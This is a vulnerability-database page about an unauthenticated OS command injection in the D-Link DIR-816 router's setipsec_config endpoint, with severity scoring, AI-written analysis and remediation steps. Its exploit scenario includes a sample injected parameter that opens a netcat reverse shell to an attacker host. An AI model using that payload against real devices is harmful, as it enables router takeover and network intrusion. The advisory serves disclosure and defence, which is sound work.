Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Command injection prevention
MITRE ATT&CK
1 technique across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Impact | Despite the CVSS score of 7.3 (High), multiple risk signals elevate this to critical severity: (1) Attack Vector is Network with no authentication required (AV:N/PR:N), making exploitation trivial from the internet; (2) Attack Complexity is Low (AC:L), requiring no special conditions; (3) Public proof-of-concept exists, significantly increasing real-world exploitation probability; (4) The vulnerability impacts confidentiality, integrity, and availability equally (C:L/I:L/A:L). SSVC analysis factors strongly support exploitation: exploitation status is public/active, the attack is automatable, and technical impact is complete system compromise on the router. The primary mitigating factor is that affected devices are end-of-life and unpatched—organizations using this hardware are either unaware of EOL status or unable to upgrade. This represents HIGH real-world risk due to: attack accessibility, proof-of-concept availability, widespread legacy device deployment, and zero patch availability from vendor. |
| Exploit ScenarioDerived | An attacker performs network reconnaissance and identifies a D-Link DIR-816 device on the internet with default or guessable credentials. The attacker crafts an HTTP POST request to /goform/setipsec_config with a malicious payload in the localIP or remoteIP parameter, such as: 'localIP=192.168.1.1; nc -e /bin/sh attacker.com 4444'. Due to lack of input validation, the web server executes the embedded command, providing the attacker with a reverse shell on the router. From this shell, the attacker can modify firmware, harvest LAN traffic, launch MITM attacks on connected devices, or use the router as a pivot point for further network compromise. The attack requires no credentials, no user interaction, and can be executed remotely from anywhere on the internet. Given public POC availability, automated scanning and exploitation toolkits likely exist, making this vulnerability actively exploited in the wild against unpatched deployments. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Mar 14, 2026
A critical remote code execution vulnerability exists in D-Link DIR-816 firmware version 1.10CNB05, allowing unauthenticated attackers to execute arbitrary OS commands via the /goform/setipsec_config endpoint by manipulating localIP or remoteIP parameters. The vulnerability has a publicly disclosed proof-of-concept exploit and affects end-of-life hardware no longer receiving security updates from D-Link, creating significant risk for deployed instances.
RemediationAI
primary_mitigation: Replace affected D-Link DIR-816 devices with current-generation routers receiving active security support; rationale: No firmware patch will be released for EOL devices; replacement is the only permanent remediation network_isolation: Restrict network access to router administration interfaces; disable remote management features; isolate router from untrusted networks; rationale: Reduces attack surface while replacement is planned access_control: If remote management is required, implement network segmentation via VPN or firewall rules limiting access to IPSec configuration endpoints; rationale: Reduces exposure even if vulnerability exists monitoring: Monitor router logs for suspicious requests to /goform/setipsec_config endpoint with unusual IP address patterns or shell metacharacters; rationale: Early detection of exploitation attempts workaround: Disable IPSec functionality in router if not required; disable web-based administration interface and use only local console; rationale: Eliminates attack vector if feature not in use
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability is classified as CWE-77 (Improper Neutralization of Special Elements used in a Command), which represents insufficient input validation in command construction. The affected device is a D-Link DIR-816 wireless router running firmware version 1.10CNB05. The vulnerable function 'setipsec_config' in /goform/setipsec_config endpoint processes IPSec configuration parameters (localIP and remoteIP) without proper sanitization before passing them to shell command execution. This is a classic OS command injection vulnerability where user-controlled input reaches system() or equivalent calls without escaping shell metacharacters. The CPE context would be: cpe:2.3:o:d-link:dir-816_firmware:1.10cnb05:*:*:*:*:*:*:*
Know when Ipsec gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
Lifecycle Timeline
2DescriptionCVE.org
A vulnerability, which was classified as critical, was found in D-Link DIR-816 1.10CNB05. Affected is the function setipsec_config of the file /goform/setipsec_config. The manipulation of the argument localIP/remoteIP leads to os command injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. This vulnerability only affects products that are no longer supported by the maintainer.
Executive ViewAI
D-Link DIR-816 routers (version 1.10CNB05) contain a critical remote code execution vulnerability that allows unauthenticated attackers to inject arbitrary commands through the IPsec configuration function. Organizations using these unsupported devices face immediate risk of network compromise, data theft, and lateral movement into internal systems.
Disable IPsec functionality if not required; restrict network access to router management interfaces (block WAN access to /goform endpoints); implement WAF rules blocking requests to /goform/setipsec_config with suspicious parameter values; segment routers on isolated VLANs with strict egress filtering; monitor for exploitation attempts; consider replacing with supported equipment as primary mitigation strategy.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
EUVD-2025-16943
NVD
CVE.org
EPSS
GitHub
VulDB
Exploit-DB